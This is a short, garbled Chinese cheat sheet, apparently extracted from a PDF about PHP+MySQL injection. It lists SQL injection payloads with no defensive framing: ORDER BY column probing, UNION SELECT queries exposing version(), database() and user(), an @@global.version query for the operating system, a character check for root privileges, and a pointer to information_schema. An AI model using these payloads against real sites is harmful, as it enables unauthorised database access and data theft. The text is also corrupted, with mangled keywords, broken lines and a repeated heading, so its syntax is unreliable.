PHP+MySQL注入技术详解与实践.pdfVIP

暴字段长度

Orderbynum/*

匹配字段

并使用1=1unionselect1,2,3,4,5n/*

暴字段位置

并使用1=2unionselect1,2,3,4,5n/*

利用内置函数暴数据库信息

version()database()user()

不用猜解可用字段暴数据库信息（有些不适用）:

并且1=2unionallselectversion()/*并

且1=2unionallselectdatabase()/*并

且1=2unionallselectuser()/*

操作系统信息:

并1=2__mysql.user/*

unionallselect@@global.version编译操作系统from

数据库权限:

并且ord(mid(user(),1,1))=114/*返回正常说明为root

库ysql0)

暴(m5.

_

Mysql5以上有内置库informationschema，着mysql的所有数据库和表

结构信息

暴字段长度